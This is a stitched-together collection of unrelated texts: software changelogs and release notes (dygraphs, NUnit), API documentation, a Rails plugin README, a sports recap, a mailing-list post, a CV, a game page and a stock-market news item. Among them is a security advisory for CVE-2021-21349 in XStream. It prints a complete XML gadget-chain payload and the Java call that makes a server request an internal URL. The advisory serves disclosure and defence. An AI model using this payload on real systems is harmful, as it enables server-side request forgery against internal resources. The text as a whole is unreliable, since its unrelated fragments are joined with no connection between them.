Internal refactors/fixes:
- Use link href, not link src (#904)
- Add missing semicolon in externs (#964)
- Large build system improvements relying in large parts on Debian and GHA
- Full licence review as part of uploading to Debian (#1024) (#1025) (#1029); drop embedded code copies
- Fix some JSDoc warnings
- Update to contemporary versions of Python 3, jQuery, Babel, etc.
- Add copies of design documents that were previously only available on Google Docs or part of GitHub issues to offline documentation
- Nuke useless semicola after function declaration bodies
- Fix closure type annotation in hairlines.js
- Remove already commented-out obsolete, or redundant, code
|
| 2.1.0 2017-12-08 |
New features:
- Double click event can be captured and cancelled by plugins
- setAnnotations's second parameter is now an optional boolean
- Add `pixelRatio` option, which may allow improved performance on smaller screens by controlling the canvas' pixel ratio
- X-axis label and tick logic can now operate at millisecond-level granularity
Bug fixes:
- Repair a bug in "Custom interaction modals" demo
Internal refactors/fixes:
- Fix various spelling mistakes
- Fix a couple of type signatures in dygraph-externs.js
|
| 2.0.0 2017-01-11 |
Breaking changes:
- JS files were renamed to dygraph.js and dygraph.min.js.
- There's now a dygraph.css file that you must include.
- Dropped support for OldIE and other non-standard browsers. dygraphs works in IE11. I'm not sure about IE9 and IE10.
- Double-click to unzoom zooms all the way out (and ignores valueRange).
- Dropped old-style per-axis/per-series options.
New features:
- Add a legendFormatter option
- `this` is the Dygraph object in all callbacks
- pass through (row, col) to valueFormatter
- Option to not sync range in extras/synchronizer.js
- Additional options for styling the range selector
- getRowForX method
- setVisibility can set the visibility of multiple series at once.
- crosshair plugin extra
- rebase/straw broom plugin
- highlightSeriesBackgroundColor option
- yAxisExtremes() method.
- Passing strings in native format now throws. (Previously it kinda sorta worked.)
Bug fixes:
- Selections are always cleared with animations
- synchronizer calls previously-set callbacks
- synchronizer only syncs when graphs are ready
- Reset on synchronized graphs failed
- fix to improve synchronizer performance
- binary search bug fix in synchronizer
- Fix range selection when chart is located inside fullscreen element
- fillAlpha can be set per-series when fillGraph is set.
- xRangePad was ignored on unzoom
- Allow selected points where canvas-y coordinate is 0
- Using valueRange with Logscale and yRangePad has unexpected results
- With "drawGapEdgePoints", unwanted point often drawn at beginning of chart
Other user-visible changes:
- “legend: follow” positioning changes
Internal refactors:
- Code moved into a “src/“ directory
- Tests use Mocha instead of jstd
- dygraphs is split into ES6 modules and uses some ES6 features (e.g. arrows and destructuring).
- dygraphs is built using babel & browserify
- Code coverage is tracked continuously
- Bundle size is now tracked continuously
|
| 1.1.1 2015-06-01 |
- Set
this to the dygraph in all callbacks.
- Minor bug fixes.
|
| 1.1.0 2014-12-03 |
Highlights include:
- dygraphs is now "retina" compatible.
- Dramatically improved performance for filled charts (i.e. fillGraph)
- More sensible date ticks: "Jan 08"→"Jan 2008", "29Jan"→"29 Jan"
- Using a non-existent option now throws (w/ dygraph-combined-dev.js)
- x-axis log scales
- The
labelsUTC option forces UTC formatting for all labels.
- The new DataHandler system allows for more flexibility in data loading.
- "this" is set to the dygraph in all callbacks.
- dygraphs has shrunk, because we moved some stuff into "extras" (133kb→122kb)
This will be the last major release to support browsers without a native <canvas> implementation. See blog post for more details.
|
| 1.0.1 2013-08-29 |
Minor bug fixes and updates to web site. |
| 1.0.0 2013-08-14 |
Initial Release. See blog post. |


This is one of the few different locations you can go through as you level up.
What its about.
This game is about you, a rock, you must jump past object adn get to the end of the level. As you go the levels will get progressivly harder and with it being longer. The map/location will start to change as you make you're way up the levels going Through Rainforests, Tundras, Volcanoes, Atlantas, and the final location the Spoopy Savanna.
Features
- 5 Different Map locations.
- Customizable Rocks.
- Mini additing arcade game.
- Time waister.
- Free on the Appstore. (Not on the Appstore)
About the Me
I am a 9th grader interested in coding and wanting to know more about Css, Html, Js so I can get better and maybe one day find a job that I enjoy using this knowledge.
This is the map of the different levels and locations you will come across during you're adventure.
this game is in beta but you can play it here!


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You're looking at an example modal in the dashboard theme.
Test this rule veracity.


| Path: | vendor/plugins/redhillonrails_core/README |
| Last Update: | Fri Aug 10 11:24:42 CEST 2007 |
RedHill on Rails Core is a plugin that adds the following features:
The plugin provides two mechanisms for adding foreign keys as well as preserving foreign keys when performing a schema dump. (Using SQL-92 syntax and as such should be compatible with most databases that support foreign-key constraints.)
The first mechanism for creating foreign-keys allows you to add a foreign key when defining a table. For example:
create_table :orders do |t| ... t.foreign_key :customer_id, :customers, :id end
You also have the option of specifying what to do on delete/update using :on_delete/:on_update, respectively to one of: :cascade; :restrict; and :set_null:
create_table :orders do |t| ... t.foreign_key :customer_id, :customers, :id, :on_delete => :set_null, :on_update => :cascade end
The second method allows you to create arbitrary foreign-keys at any time:
add_foreign_key(:orders, :customer_id, :customers, :id, :on_delete => :set_null, :on_update => :cascade)
In either case, if your database supports deferred foreign keys (for example PostgreSQL) you can specify this as well:
t.foreign_key :customer_id, :customers, :id, :deferrable => true add_foreign_key(:orders, :customer_id, :customers, :id, :deferrable => true)
By default, the foreign key will be assigned a name by the underlying database. However, if this doesn’t suit your needs, you can override the default assignment using the :name option:
add_foreign_key(:orders, :customer_id, :customers, :id, :on_delete => :set_null, :on_update => :cascade, <strong>:name => :orders_customer_id_foreign_key<strong>)
You can also query the foreign keys for a model yourself by calling foreign_keys():
Order.foreign_keys
Or for an arbitrary table by calling foreign_keys(table_name) on a database adapter.
Either method returns an array of the following meta-data:
If you need to drop a foreign-key, use:
remove_foreign_key :orders, :orders_ordered_by_id_fkey
The plugin also ensures that all foreign keys are output when performing a schema dump. This happens automatically when running rake migrate or rake db:schema:dump. This has particular implications when running unit tests that contain fixtures. To ensure the test data is correctly reset after each test, you should list your fixtures in order of parent->child. For example:
fixtures :customers, :products, :orders, :order_lines
Rails will then set-up and tear-down the fixtures in the correct sequence.
The plugin fully supports and understands the following active-record configuration properties:
ActiveRecord::Base already provides a method on connection for obtaining the indexes for a given table. This plugin now makes it possible to obtain the indexes for a given model—ActiveRecord::Base—class. For example:
Invoice.indexes
Would return all the indexes for the invoices table.
The plugin also adds a method—defining?()—to ActiveRecord::Schema to indicate when define() is running. This is necessary as some migration plugins must change their behaviour accordingly.
For PostgreSQL, you can add an option :case_sensitive => false to add_index which will generate an expression index of the form:
LOWER(column_name)
This means finder queries of the form:
WHERE LOWER(column_name) = LOWER(?)
are able to use the indexes rather require, in the worst case, full-table scans.
Note also that this ties in well with Rails built-in support for case-insensitive searching:
validates_uniqueness_of :name, :case_sensitive => false
This plugin is copyright 2006 by RedHill Consulting, Pty. Ltd. and is released under the MIT license.


Williams carries Georgia State past Prairie View 83-74
by The Associated PressRIVERSIDE, Calif. (AP) — Kane Williams scored 17 points and grabbed six rebounds as Georgia State topped Prairie View 83-74 in the 2K Empire Classic sub-regional game on Friday.
Corey Allen had 18 points and four assists for Georgia State (2-3). Justin Roberts added 14 points. Damon Wilson had 13 points and six assists for Georgia State.
Gerard Andrus had 23 points and 14 rebounds for Prairie View (1-5), which has now lost five games in a row. Jonathan Jackson added 11 points. Faite Williams and Tamir Bynum added 10 points apiece.
Georgia State matches up against Charlotte at home on Wednesday. Prairie View takes on UTSA on the road next Saturday.
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For more AP college basketball coverage: https://apnews.com/Collegebasketball and http://twitter.com/AP_Top25
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This was generated by Automated Insights, http://www.automatedinsights.com/ap, using data from STATS LLC, https://www.stats.com
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[gecode-users] Gecode/J: bool_and()
Malcolm Ryan
malcolmr at cse.unsw.edu.au
Tue Nov 20 03:16:21 CET 2007
The function Gecode.bool_and(JavaSpace, VarArray<BoolVar>, BoolVar)
acts in a way that I find counter-intuitive. If the VarArray is
empty, this constraint will cause propagation to fail:
VarArray<BoolVar> bools = new VarArray<BoolVar>();
BoolVar bool = new BoolVar(space);
Gecode.bool_and(space, bools, bool);
System.out.println(space.status());
to my mind, the natural result would be to set 'bool' to true, i.e.
the conjunction is true iff all the members are true. When there are
no members, that statement is trivially satisfied.
Is there any rationale for the current operation?
Malcolm
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admin_panel is a facade that combines the application base class, widget set, form interpreter, cursor interface and record manipulation tools into an easy-to-use interface while allowing full access to the interfaces used.
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The constructor takes a reference to the application object and a name of the application that is used as the title for all document headers. Since admin_panel is a singleton class, a single instance must be passed to instance().
If $widget_set doesn't contain a widget_set class a default widget set is used and stored to member variable admin_panel::widgets.


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Class AndroidSensusService
Android sensus service. Manages background running of Sensus. This is a hybrid service (http://developer.android.com/guide/components/services.html), in that
it is started by the Sensus activity to run indefinitely, but the activity also binds to it to manage the Sensus system (e.g., creating protocols, starting
and stopping them, etc.). For now, nobody other than the Sensus activity can interact with the service (Exported = false). Perhaps we'll allow this in the future
to support integration with other apps.
Inheritance
Android.App.Service
AndroidSensusService
Assembly: SensusAndroid.dll
Syntax
public class AndroidSensusService : Service
Constructors
AndroidSensusService()
Declaration
public AndroidSensusService()
Fields
FOREGROUND_SERVICE_NOTIFICATION_ID
Declaration
public const int FOREGROUND_SERVICE_NOTIFICATION_ID = 1
Field Value
| Type |
Description |
| System.Int32 |
|
FROM_ON_BOOT_KEY
Declaration
public const string FROM_ON_BOOT_KEY = "from-on-boot"
Field Value
| Type |
Description |
| System.String |
|
Methods
OnBind(Intent)
Declaration
public override IBinder OnBind(Intent intent)
Parameters
| Type |
Name |
Description |
| Android.Content.Intent |
intent |
|
Returns
| Type |
Description |
| Android.OS.IBinder |
|
OnCreate()
Declaration
public override void OnCreate()
OnDestroy()
Declaration
public override void OnDestroy()
OnStartCommand(Intent, StartCommandFlags, Int32)
Declaration
public override StartCommandResult OnStartCommand(Intent intent, StartCommandFlags flags, int startId)
Parameters
| Type |
Name |
Description |
| Android.Content.Intent |
intent |
|
| Android.App.StartCommandFlags |
flags |
|
| System.Int32 |
startId |
|
Returns
| Type |
Description |
| Android.App.StartCommandResult |
|
ReissueForegroundServiceNotification()
Declaration
public void ReissueForegroundServiceNotification()
StartService(Context, Boolean)
Declaration
public static Intent StartService(Context context, bool fromOnBoot)
Parameters
| Type |
Name |
Description |
| Android.Content.Context |
context |
|
| System.Boolean |
fromOnBoot |
|
Returns
| Type |
Description |
| Android.Content.Intent |
|
Stop()
Declaration


CVE-2021-21349: A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams from an arbitrary URL referencing a resource in an intranet or the local host.
All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.
The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in a server-side forgery request.
Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:
<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class='javafx.collections.ObservableList$1'/> </default> <int>3</int> <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is class='java.io.SequenceInputStream'> <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'> <iterator class='com.sun.xml.internal.ws.util.ServiceFinder$ServiceNameIterator'> <configs class='sun.misc.FIFOQueueEnumerator'> <queue> <length>1</length> <head> <obj class='url'>http://localhost:8080/internal/</obj> </head> <tail reference='../head'/> </queue> <cursor reference='../queue/head'/> </configs> <returned class='sorted-set'/> </iterator> <type>KEYS</type> </e> <in class='java.io.ByteArrayInputStream'> <buf></buf> <pos>0</pos> <mark>0</mark> <count>0</count> </in> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/> </java.util.PriorityQueue> </java.util.PriorityQueue>
XStream xstream = new XStream(); xstream.fromXML(xml);
As soon as the XML gets unmarshalled, the payload gets executed and the data from the URL location is collected.
Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.
The vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream.
See workarounds for the different versions covering all CVEs.
The vulnerability was discovered and reported by threedr3am.


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NUnit 2.4 Final Release (<IP_ADDRESS>) - March 16, 2007
Gui
- A new /cleanup commandline option deletes NUnit's shadow copy
cache and then exits.
- When NUnit is run under .Net 1.1, assemblies built with .Net 2.0
are not displayed in the recent files list. NUnit automatically loads
the last assembly that was opened under .Net 1.1.
Note: When a program built with .Net 1.1 is run under .Net 2.0,
it will not appear in the Recent Files list the next time NUnit is run
under .Net 1.1. This issue will be fixed in a future release.
- When the NUnit documentation is not installed, the Help menu item
now displays the NUnit web site.
Bug Fixes
- The user interface (NUnitForm.cs) was not properly displayed at
design time due to a problem with detecting DesignMode in nested
User Controls.
- CollectionConstraint was failing to find contained items in
a collection implementing ICollection only - that is not implementing
IList. This is now fixed and all collections use the same code path
to avoid future problems.
- The Tree setting "Show Checkboxes" was not being saved properly.
- Many of NUnit's own tests were leaving files in the shadow
copy cache due to not closing the test domain.
- NUnit was attempting to instantiate an abstract class, derived
from another abstract class marked with TestFixtureAttribute. NUnit
will now mark all abstract classes with this attribute, or inheriting
from classes with this attribute as non-runnable.
NUnit 2.4 RC2 (<IP_ADDRESS>) - March 9, 2007
Framework
- The Is class has been moved to the SyntaxHelpers namespace in order
to eliminate conflicts with mock object frameworks. Additional helper
classes List, Has and Text have been added.
- The AssertionHelper class has been added as an optional
base class for user fixtures. Use of this class as a base makes methods
available for creating constraints needing to use one of the helper
classes.
- A PropertyConstraint has been added, which allows testing the
value of one of an object's properties.
NUnit 2.4 RC1 (2.4.0) - February 25, 2007
General
- Two packages, built under the 1.1 and 2.0 runtimes, are provided
as before, but they are now mutually exclusive - only one may be installed.
By downloading the source, you can rebuild NUnit under other runtimes. See
the Platform Support page for
details about the runtimes under which each each package may be run.
- If you build NUnit from source, you will notice that the full text
of the license is no longer included in every file. For easier maintenance, we
now put a short notice in the source files, which refers to the license.
- Fit tests are now provided. The tests supplied are fairly rudimentary,
but it's a start! The Fit assemblies required to run the tests are included
with the NUnit distribution. You can get a complete Fit download, including
source code, at the Fit website.
- Samples are now organized by language and additional samples
have been provided. C++ samples are provided using both the VS2003
managed C++ syntax and the new C++/CLI syntax for VS2005. Solution files
group samples by language, with an additional solution for extensibility samples.
- The nunit.common assembly, added in the Alpha release, has been eliminated.
Framework
- A new syntax and internal architecture for Asserts is being introduced in
this release, based on the notion of constraints found in JMock and NMock.
- The Assert.That method is used to make an assertion based on a
constraint
- Assert.That( actual, constraint, message, args );
- Assert.That( actual, constraint, message );
- Assert.That( actual, constraint );
- The constraint argument may be specified directly using one of the
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- It may also be specified using one of the syntax helpers provided as
static methods of the Is class, such as
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- Is.EqualTo( object )
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- Is.SubsetOf( collection )
See the docs for complete information.
- Internally, all the "classic" Assert methods, like AreEqual, have been
re-implemented using the underlying constraint architecture.
- The old approach to extending Asserts by creating Asserter classes
is now deprecated and the classes and interfaces are marked Obsolete.
- A number of changes have been made to the ExpectedException attribute
- Several constructors for ExpectedExceptionAttribute have
been removed and two are now marked obsolete. All functionality
continues to be available through the use of named parameters. See
the documentation for details.
- User-defined ExceptionHandlers are now supported:
- A handler takes a System.Exception as an argument and returns void.
Normal Assert statements are used to validate the exception.
- A default handler may be specified for the fixture by implementing
the IExpectException interface.
- Individual test case handlers may be specified by use of the
Handler named parameter.
- The ExpectedException attribute may be used without
an exception type, leaving all validation to the ExceptionHandler.
- A custom error message may be displayed by use of the UserMessage
named parameter.
- The StringAssert class has a new IsMatch method
that does regular expression matching.
- The setup and teardown methods in a SetUpFixture are now
marked by the SetUpAttribute and TearDownAttribute rather
than the corresponding "Fixture" attributes used in earlier betas.
- NUnit now recognizes user-defined attributes derived from CategoryAttribute
and PropertyAttribute. Protected constructors are provided for use by derived classes:
- protected CategoryAttribute()
- Creates a category with the same name as the derived class.
- protected PropertyAttribute(object attributeValue)
- Creates a property with the same name as the derived class.
Note: Other attributes remain sealed, as in prior releases.
Core
- User settings are now stored in an XML file rather than the registry.
Any existing settings from NUnit 2.2 or from earlier betas are migrated on first use.
- Properties assigned to tests are now included in the XML output file.
- Internally, many classes which were previously defined as singletons are
now treated as services, managed by a ServiceManager.
Console
- The new /domain option controls of the creation of AppDomains for running tests.
The following values are recognized:
- None
- No domain is created - the tests are run in the primary domain. This normally
requires copying the NUnit assemblies into the same directory as your tests.
- Single
- A test domain is created - this is how NUnit worked prior to version 2.4
- Multiple
- A separate test domain is created for each assembly
The default is to use multiple domains if multiple assemblies are listed on
the command line. Otherwise a single domain is used.
- The obsolete /thread option has been replaced by /nothread.
Since tests have been run on a separate thread by default for some time,
the old option had no effect.
Note: Default use of a separate test thread is intended to isolate
NUnit from changes made to the thread context. Tests that change the context
and don't restore it should not be run using this option.
Gui
- The GUI command line now supports /include and /exclude options for
categories. Only one of the two may be used at a time. These options effect
the initial category selection in the GUI.
- The XML test results are now saved automatically in file TestResult.xml
at the end of each run.
- An option is provided to suppress shadow-copying of assemblies.
- The Test Properties dialog now displays properties assigned to a test.
The text fields for categories and properties have been replaced with listboxes.
- Trace output from tests is displayed in a tab in the GUI. Optionally,
trace and stderr output may be redirected to the Console output tab
- The position, size and font of the mini-Gui window are now saved separately
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- Internally, the gui display has been refactored so so that the tab
display is provided by a separate control.
- The Windows install packages set up individual shortcuts for running under
each of the supported runtimes installed on your system. If additional supported
runtimes are installed, you can create similar shortcuts yourself or reinstall
NUnit to have them created automatically.
NUnit 2.4 Beta 2 Release (2.3.6293) - October 20, 2006
General
- A new assembly, nunit.core.interfaces, is being introduced in this release.
This assembly holds interfaces, enumerations and data types that are intended
for external use - for example, by client code that executes NUnit tests. Our
intent is to hold the version number of this assembly constant through all
NUnit 2.4 maintenance releases and to avoid any breaking changes in this code.
- The Windows installer is now built using WiX. With the removal of
the Visual Studio deployment project from the VS2005 solution, it is
now possible to build NUnit completely using C# Express.
- The nunit.framework assembly is no longer installed in the GAC.
Framework
- The AreEqual and AreNotEqual asserts have been enhanced to work with
multi-dimensional arrays and jagged arrays.
- The error message for AreEqual with doubles and floats now includes
the tolerance that was used in the comparison.
- The handling of categories was not being done correctly. This is now fixed.
Console
- The '/' character is no longer accepted for command-line options under Linux.
Any argument beginning with '/' is taken as a path.
- Fixed bug causing the /include and /exclude parameters to be ignored.
Gui
- Added a dialog to the Tools menu for displaying installed NUnit add-ins.
- Modified the Tree submenu of the View menu to simplify choices for
expanding and collapsing the tree.
- Added an entry to the View menu for displaying info about loaded test assemblies.
- Added Run All, Run Failed, Show CheckBoxes, Expand All and Collapse All
items to the tree context menu.
- When right-clicking in the tree below the lowest node, the context menu commands
now relate to the currently selected node or nodes rather than the last node the
user right-clicked on.
- The '/' character is no longer accepted for command-line options under Linux.
Any argument beginning with '/' is taken as a path.
- The category list is now cleared when a project is closed.
- The "Word Wrap" checkbox has been removed. The setting is now available on
the Options Dialog.
- Automatic rerun of tests on change now works correctly.
Extensibility
- The extensibility mechanism has been generalized to allow a wider range
of future extension points. The following new attributes and interfaces
are used:
- NUnitAddinAttribute
- Used to mark all addins and optionally specify Type, Name and Description
- ExtensionType
- Indicates whether the addin provides Core, Client or Gui extensions.
- IAddin
- Interface implemented by all addins, which allows the addin to install itself.
- IExtensionHost
- Interface supported by each NUnit extension host. Each host provides a number of extension points.
This release provides only the Core extension host. Future releases will provide Client and Gui hosts.
- IExtensionPoint
- Interface supported by an extension point, allowing an addin to install and remove the extensions it provides.
- IFrameworkRegistry
- Interface allowing addins that support external test frameworks to register them with NUnit.
NUnit 2.4 Beta 1 Release (2.3.6162) - June 11, 2006
General
- Additional NUnit tests now pass under Linux. Those that do not have
been excluded using the Platform attribute.
Framework
- Added a Reason property to ExplicitAttribute, for use in explaining why a test is marked Explicit.
- Multiple SetUp or TearDown methods now give a more meaningful error message.
Console
- The console now outputs test failures to Trace all the time, not just
when running under the debugger. You will see clickable trace output in
Visual Studio even if you use the Start Without Debugging menu item.
Gui
- Added Test Menu with entries for running the selected test, all tests or failed tests.
- Instead of displaying a dialog box, unhandled exceptions now display in the
Errors & Failures tab, with an indication of the test that was running
when the exception was thrown. The test itself is not shown as a failure,
(unless it failed for some other reason, since it may not have caused the
exception. The progress bar turns red if any unhandled exceptions are thrown.
- The GUI no longer crashes when reloading assemblies with added or deleted
tests.
NUnit 2.4 Alpha Release (2.3.6142) - May 22, 2006
General
- The source code directory structure has been reorganized to separate NUnitFramework and
NUnitCore.
- A new nunit.common assembly isolates core interfaces.
- The following assemblies are now strongly named: nunit.mocks, nunit.core.extensions
and nunit.framework.extensions
- NUnit may now be installed by non-administrators, subject to any security
restrictions imposed by the particular site.
- The .Net 2.0 builds of NUnit are now called "NUnit for .Net 2.0"
- The NAnt build script has been simplified and now consists only of the
nunit.build and nunit.build.include files.
- The NAnt build script now has a target for building under the Mono 2.0 profile.
- NUnit is now been built and tested using both Microsoft .Net (1.0, 1.1, 2.0) and Mono
(1.0 and 2.0 profiles).
Note: in the Alpha release, a number of tests are skipped
when running under Linux or Unix.
Framework
Core
- When multiple assemblies are loaded, they may use a single AppDomain, as now,
or a separate AppDomain for each assembly. The new option provides greater
isolation of the tests and allows use of separate config files for each assembly.
Note: In the Alpha release, separate config files are required when
this option is used, even if an NUnit project is loaded.
- The automatic creation of test suites for each namespace is now optional. When
the creation of these suites is suppressed, the fixtures are loaded as a simple
flat list, without any hierarchy imposed.
- When multiple assemblies are loaded, the tests may optionally be merged. If
automatic namespace suites are enabled, namespaces are merged across assemblies.
This option is only available if a single AppDomain is used.
- The fixture object is created for the life of the test run and is no longer
reused on subsequent runs. If the object implements IDisposable, Dispose
is called before destroying it.
- The current directory is set to the location of the test assembly before
running each fixture. This change facilitates running fixtures in any order
and eliminates interference between fixtures that change the current directory.
- Non-public fixture classes are treated as non-runnable and display a warning
message rather than being silently ignored.
- A new SetUpFixture allows one-time SetUp and TearDown at the level of a
NameSpace or for an entire assembly.
- The TestRunner no longer passes "live" tests back to the gui or console.
Instead, a data class that encapsulates the info about the test is sent.
- Registry settings are now stored under nunit.org. Old settings are migrated
automatically when the application is first run.
- When the default config for a test project is set to "NUnitAutoConfig"
the configuration of the current NUnit build is automatically selected
for the tests, if available. This is intended for use by NUnit developers.
Console
- When multiple assemblies are passed on the command line, the console runner
now loads those assemblies into separate AppDomains. Separate config files
should be provided for each assembly in this case.
- The /include and /exclude> options may now be combined on
the command line. When both are used, all tests with the included categories
are run except for those with the excluded categories.
Gui
- The gui executable is now called "nunit.exe" rather than "nunit-gui.exe"
- There is a new option to automatically re-run the test whenever
a change is detected.
- A new "mini-gui" configuration may be selected from the View menu. This
display consists of the tree view area only. All info about the tests may
be accessed via the properties display or by returning to the full gui.
- The following additional Gui customizations are also available through the
View menu:
- The font used in the Gui may be changed
- The four info tabs on the right may be turned on or off
- The status bar may be removed
- Menu items pertaining to expansion and collapse of the tree have been moved
to the Tree submenu of the View menu.
- The Options dialog has been reorganized to add new options for running tests
and to better group similar items.
- The Test Properties dialog has been reorganized to display all info on a
single page and to more clearly show the status of the test.
- The icons used for tests in the tree view now show test status by use of
symbols, in addition to their color:
- Not Run
- Grey circle
- Success
- Green circle with a check mark in it
- Failure
- Red circle with an X mark in it
- Ignored
- Yellow circle with a question mark in it
- For further customization of the icons, users may modify or replace the
files Success.jpg, Failure.jpg or Ignored.jpg in the NUnit bin directory.
- Tests that are not run due to the Explicit or Platform attributes are no
longer considered as Ignored. They remain marked as grey in the gui and
do not affect the color of the progress bar.
- Wordwrap may be turned on and off in the 'Errors and Failures' tab by use
of a checkbox at the bottom of the tab.
Extensibility
- NUnit now supports three types of core addins:
- SuiteBuilders
- Allow an extender to provide new types of test fixtures with
their own behavior.
- TestCaseBuilders
- Allow an extender to provide new types of test cases, either
as a part of a custom test fixture or within a standard NUnit
fixture.
- TestDecorators
- Allow an extender to modify the behavior of
a standard or custom test case or fixture. This is a good
choice for implementing attributes that should apply to
various types of tests.
-
- Addin assemblies may now be deployed by copying them assembly to the
NUnit bin/addins directory.
- Extensions distributed as part of NUnit are now divided between the two
assemblies nunit.core.extensions and nunit.framework.extensions. Only the
latter is intended to be referenced by user tests.
- This Alpha release of NUnit provides only one internal extension: the Repeat
attribute may be applied to test cases to cause them to run a number of
times. The extensions emulating CsUnit and VSTS tests, which were included
experimentally in recent versions of NUnit 2.2 have been removed and will
be distributed separately.
- Several trivial examples, which were formerly part of the extensions
assmebly are now included as samples.
- Documentation for NUnit's extensibility features is still in preparation.
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- loads a component specified by an URL into the specified
new or existing frame.
- Parameter URL
- specifies the URL of the document to load
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- Parameter Arguments
- these arguments specify component or filter specific behavior
For example, "ReadOnly" with a boolean value specifies whether
the document is opened read-only. "FilterName" specifies the
component type to create and the filter to use, for example:
"Text - CSV". For more information see
::com::sun::star::document::MediaDescriptor.
- Returns
- a ::com::sun::star::lang::XComponent for successfully loaded
documents or
NULLif it failed
This interface is a generic one and can be used to start further requests on
loaded document or control the lifetime of it (means dispose() it after using).
The real document service behind this interface can be one of follow three ones:
-
::com::sun::star::awt::XWindow for simple components
Should be used for viewable components only. It is not allowed to dispose
it after use directly, because the frame containing the component is its owner.
Because the frame object is not accessible through the interface too,
only an interacting user can do this by closing the frames' window.
-
XController for richer components
Should be used for real editable components which doesn't need a model.
It is not allowed to dispose it after use directly, because the frame
containing the component is its owner. Here the object can be disposed
by disposing the frame, that the XController::getFrame()
method of the controller returns. But for visible components the controller
should be asked for permission by calling XController::suspend() before.
-
XModel for full featured components
A model that in general can be shared between several view/controller pairs,
does not have an explicit owner. Every view and also the component that
loaded the document may consider itself as an owner.
Simply calling XComponent::dispose on this model may
cause problems, if some members of the "owner community" are currently
busy working on the model. These problems are handled by explicit closing
negotiations through the interface ::com::sun::star::util::XCloseable.
Direct dispose of the model is allowed only, if this special interface doesn't exist.
- Throws
- com::sun::star::io::IOException
when URL couldn't be found or was corrupt
- Throws
- com::sun::star::lang::IllegalArgumentException
when given parameters doesn't perform the specification
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CV
Education
Middle East Technical University (2016-Ongoing)
Bornova Anatolian High School (2012-2016)
Internship
METU ID Material Workshop Internship - 2017
METU ID 3D Modelling Intership - 2017 & 2018
Denizli Doğrar Metal Production Internship - 2020
Ankara Işık Yayın Oyuncak Design Office Internship - 2020
Certificates
Global Design Studio Certificate - 2020 January
Work & Travel Program - 2019 Summer
Diplomat Academy - Italian Level A2 Certificate - 2019
Kaplan International Collage London - Upper Intermediate English Certificate - 2018
Active English - Italian Level A1 Certificate - 2018
Bilge Adam Academy - 3D Modelling & Technical Drawing Certificate for 3Ds Max & AutoCAD - 2017
Languages
Turkish-Native
English-C1
Italian-A2
Software Skills
Adobe Premier Pro
Adobe Illustrator
Adobe Photoshop
After Effects
Adobe XD
Figma
InVision
Rhinoceros 3D
Fusion 360
AutoCAD
3Ds Max
KeyShot
Unity
Visual Studio Code & HTML 5 & CSS 3
Microsoft Office
Manual Skills
Prototyping
Free Hand Skecthing
Idea Generation
UX Methods
Mind Mapping
Clay Modelling
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Research, Development and Operations
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other organisations. It is not a comprehensive review of all R&D in the Met. Office.
James Barrott |<EMAIL_ADDRESS>| Last updated: 30 October 1995 | © Crown Copyright 1995


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Dow Jones Index Crosses 28,000 Pts. Record Based on Hopes of US-China Trade Deal
NEW YORK (Sputnik) - The bull run in US stocks market reached a new milestone on Friday as all three major indexes on the exchange posted record-high closings, led by the broad Dow barometer which crossed 28,000 points for the first time on expectations that the United States and China would sign a trade deal soon.
The Dow Jones Industrial Average finished up 0.8 percent at a record high 28,005 points, registering its fourth-straight weekly gain.
The top 500 indicator for US stocks market, the S&P 500 rose 0.8 percent at an all-time peak of 3,120. The increase was the index’s six-straight weekly gain.
The Nasdaq index gained 0.7 percent to settle at a new peak of 8,540.82, capping its seven-straight weekly rise.
The stocks market rallied after White House economic advisor Larry Kudlow said on Thursday that the United States talks with China were progressing and negotiators were closing in on a trade agreement.
Earlier this month, the Dow Jones Industrial Average hit a new record of 27,500 points following the October jobs report and the US government’s third-quarter GDP estimate.